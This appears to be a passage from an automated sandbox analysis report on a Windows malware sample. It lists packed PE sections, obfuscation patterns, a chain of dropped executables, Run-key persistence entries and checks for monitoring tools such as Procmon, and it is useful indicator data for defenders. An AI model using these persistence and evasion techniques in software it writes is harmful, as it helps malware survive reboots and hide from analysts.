Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr Static PE information: section name: .taggant
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name:
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name: .idata
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name:
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name: dqejjcio
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name: gfikdque
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name: .taggant
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: .idata
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: dqejjcio
Source: skotes.exe.4.dr Static PE information: section name: gfikdque
Source: skotes.exe.4.dr Static PE information: section name: .taggant
Source: wintoolsone64[1].exe.6.dr Static PE information: section name: .symtab
Source: wintoolsone64.exe.6.dr Static PE information: section name: .symtab
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: random[1].exe.6.dr Static PE information: section name: sqhbpttq
Source: random[1].exe.6.dr Static PE information: section name: eaurdqdn
Source: random[1].exe.6.dr Static PE information: section name: .taggant
Source: 9de8348ea3.exe.6.dr Static PE information: section name:
Source: 9de8348ea3.exe.6.dr Static PE information: section name: .idata
Source: 9de8348ea3.exe.6.dr Static PE information: section name: sqhbpttq
Source: 9de8348ea3.exe.6.dr Static PE information: section name: eaurdqdn
Source: 9de8348ea3.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: fzmtnikz
Source: random[1].exe0.6.dr Static PE information: section name: dagikpkj
Source: random[1].exe0.6.dr Static PE information: section name: .taggant
Source: random[3].exe.6.dr Static PE information: section name:
Source: random[3].exe.6.dr Static PE information: section name: .rsrc
Source: random[3].exe.6.dr Static PE information: section name: .idata
Source: random[3].exe.6.dr Static PE information: section name:
Source: random[3].exe.6.dr Static PE information: section name: iuotgoma
Source: random[3].exe.6.dr Static PE information: section name: ujumrvwn
Source: random[3].exe.6.dr Static PE information: section name: .taggant
Source: 8301009305.exe.6.dr Static PE information: section name:
Source: 8301009305.exe.6.dr Static PE information: section name: .idata
Source: 8301009305.exe.6.dr Static PE information: section name:
Source: 8301009305.exe.6.dr Static PE information: section name: fzmtnikz
Source: 8301009305.exe.6.dr Static PE information: section name: dagikpkj
Source: 8301009305.exe.6.dr Static PE information: section name: .taggant
Source: 90f56e27b8.exe.6.dr Static PE information: section name:
Source: 90f56e27b8.exe.6.dr Static PE information: section name: .rsrc
Source: 90f56e27b8.exe.6.dr Static PE information: section name: .idata
Source: 90f56e27b8.exe.6.dr Static PE information: section name:
Source: 90f56e27b8.exe.6.dr Static PE information: section name: iuotgoma
Source: 90f56e27b8.exe.6.dr Static PE information: section name: ujumrvwn
Source: 90f56e27b8.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: .idata
Source: random[1].exe1.6.dr Static PE information: section name: sgyfneub
Source: random[1].exe1.6.dr Static PE information: section name: wyedghxm
Source: random[1].exe1.6.dr Static PE information: section name: .taggant
Source: de057a4668.exe.6.dr Static PE information: section name:
Source: de057a4668.exe.6.dr Static PE information: section name: .idata
Source: de057a4668.exe.6.dr Static PE information: section name: sgyfneub
Source: de057a4668.exe.6.dr Static PE information: section name: wyedghxm
Source: de057a4668.exe.6.dr Static PE information: section name: .taggant
Source: 4264524541.exe.6.dr Static PE information: section name:
Source: 4264524541.exe.6.dr Static PE information: section name: .idata
Source: 4264524541.exe.6.dr Static PE information: section name: sgyfneub
Source: 4264524541.exe.6.dr Static PE information: section name: wyedghxm
Source: 4264524541.exe.6.dr Static PE information: section name: .taggant
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr Static PE information: section name:
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr Static PE information: section name: .idata
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr Static PE information: section name: sgyfneub
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr Static PE information: section name: wyedghxm
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr Static PE information: section name: .taggant
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name:
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name: .idata
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name:
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name: dqejjcio
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name: gfikdque
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name: .taggant
Source: axplong.exe.12.dr Static PE information: section name:
Source: axplong.exe.12.dr Static PE information: section name: .idata
Source: axplong.exe.12.dr Static PE information: section name:
Source: axplong.exe.12.dr Static PE information: section name: fzmtnikz
Source: axplong.exe.12.dr Static PE information: section name: dagikpkj
Source: axplong.exe.12.dr Static PE information: section name: .taggant
Source: random[2].exe.20.dr Static PE information: section name:
Source: random[2].exe.20.dr Static PE information: section name: .rsrc
Source: random[2].exe.20.dr Static PE information: section name: .idata
Source: random[2].exe.20.dr Static PE information: section name:
Source: random[2].exe.20.dr Static PE information: section name: iuotgoma
Source: random[2].exe.20.dr Static PE information: section name: ujumrvwn
Source: random[2].exe.20.dr Static PE information: section name: .taggant
Source: cc1af330ba.exe.20.dr Static PE information: section name:
Source: cc1af330ba.exe.20.dr Static PE information: section name: .rsrc
Source: cc1af330ba.exe.20.dr Static PE information: section name: .idata
Source: cc1af330ba.exe.20.dr Static PE information: section name:
Source: cc1af330ba.exe.20.dr Static PE information: section name: iuotgoma
Source: cc1af330ba.exe.20.dr Static PE information: section name: ujumrvwn
Source: cc1af330ba.exe.20.dr Static PE information: section name: .taggant
Source: 69f64d774a.exe.20.dr Static PE information: section name:
Source: 69f64d774a.exe.20.dr Static PE information: section name: .idata
Source: 69f64d774a.exe.20.dr Static PE information: section name: sqhbpttq
Source: 69f64d774a.exe.20.dr Static PE information: section name: eaurdqdn
Source: 69f64d774a.exe.20.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AB3DB push ecx; ret 0_3_058AB3F2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AB3DB push ecx; ret 0_3_058AB3F2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AB3DB push ecx; ret 0_3_058AB3F2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AE5D8 push es; retf 0_3_058AE5D9
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AE5D8 push es; retf 0_3_058AE5D9
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AB94F push ds; retf 0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AB94F push ds; retf 0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AB94F push ds; retf 0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AA951 push ecx; retf 0_3_058AA95A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AA951 push ecx; retf 0_3_058AA95A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AA951 push ecx; retf 0_3_058AA95A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AAC9F pushad ; iretd 0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AAC9F pushad ; iretd 0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AAC9F pushad ; iretd 0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AC8B2 push eax; retf 0_3_058AC8CA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AC8B2 push eax; retf 0_3_058AC8CA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AC8B2 push eax; retf 0_3_058AC8CA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AACD8 pushad ; iretd 0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AACD8 pushad ; iretd 0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AACD8 pushad ; iretd 0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058A8CD3 pushfd ; iretd 0_3_058A8CD1
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058A8CD3 pushfd ; iretd 0_3_058A8CD1
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058A8CD3 pushfd ; iretd 0_3_058A8CD1
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058A8408 push ds; retf 0_3_058A843C
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058A8408 push ds; retf 0_3_058A843C
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058A8408 push ds; retf 0_3_058A843C
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AB842 push ds; retf 0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AB842 push ds; retf 0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058AB842 push ds; retf 0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058A8C60 pushfd ; iretd 0_3_058A8CD1
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058A8C60 pushfd ; iretd 0_3_058A8CD1
Source: file.exe Static PE information: section name: entropy: 7.983446708488007
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr Static PE information: section name: entropy: 7.8018039696071595
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name: entropy: 7.982126816973067
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name: dqejjcio entropy: 7.952585100366962
Source: skotes.exe.4.dr Static PE information: section name: entropy: 7.982126816973067
Source: skotes.exe.4.dr Static PE information: section name: dqejjcio entropy: 7.952585100366962
Source: random[1].exe.6.dr Static PE information: section name: entropy: 7.982439442105867
Source: 9de8348ea3.exe.6.dr Static PE information: section name: entropy: 7.982439442105867
Source: random[1].exe0.6.dr Static PE information: section name: entropy: 7.979622704519033
Source: random[1].exe0.6.dr Static PE information: section name: fzmtnikz entropy: 7.954296374426834
Source: 8301009305.exe.6.dr Static PE information: section name: entropy: 7.979622704519033
Source: 8301009305.exe.6.dr Static PE information: section name: fzmtnikz entropy: 7.954296374426834
Source: random[1].exe1.6.dr Static PE information: section name: entropy: 7.8018039696071595
Source: de057a4668.exe.6.dr Static PE information: section name: entropy: 7.8018039696071595
Source: 4264524541.exe.6.dr Static PE information: section name: entropy: 7.8018039696071595
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr Static PE information: section name: entropy: 7.8018039696071595
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name: entropy: 7.982126816973067
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name: dqejjcio entropy: 7.952585100366962
Source: axplong.exe.12.dr Static PE information: section name: entropy: 7.979622704519033
Source: axplong.exe.12.dr Static PE information: section name: fzmtnikz entropy: 7.954296374426834
Source: random[2].exe.20.dr Static PE information: section name: iuotgoma entropy: 7.954742797276652
Source: cc1af330ba.exe.20.dr Static PE information: section name: iuotgoma entropy: 7.954742797276652
Source: 69f64d774a.exe.20.dr Static PE information: section name: entropy: 7.982439442105867
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002450001\a55050ee6f.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\wintoolsone64[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de057a4668.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cc1af330ba.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9de8348ea3.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Window searched: window name: PROCMON_WINDOW_CLASS
